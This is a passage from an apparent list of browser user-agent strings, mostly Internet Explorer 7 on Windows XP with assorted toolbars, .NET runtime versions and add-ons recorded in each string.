InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.5; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1; FDM; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; KKman3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Hotbar 4.5.0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.8.4; Zango 10.0.275.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; msn Optimized IE build03;JP) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;JAJP; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; Zango 10.0.370.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; Alexa Toolbar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; AskTB5.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Lunascape 4.0.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MEGAUPLOAD 2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 4.2 (build 01102); GTB6.3; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 5.2 (build 02405); GTB6.3; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 4.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MS-RTC LM 8; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MS-RTC LM 8; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MSIE 6.0; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; (R1 1.1); .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; Media Center PC 4.0; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; GTB6; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Maxthon; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; (R1 1.6); .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; MEGAUPLOAD 2.0; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTbFXTV5/5.15.4.23821) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Seekmo 10.0.427.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Zango 10.3.36.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM) 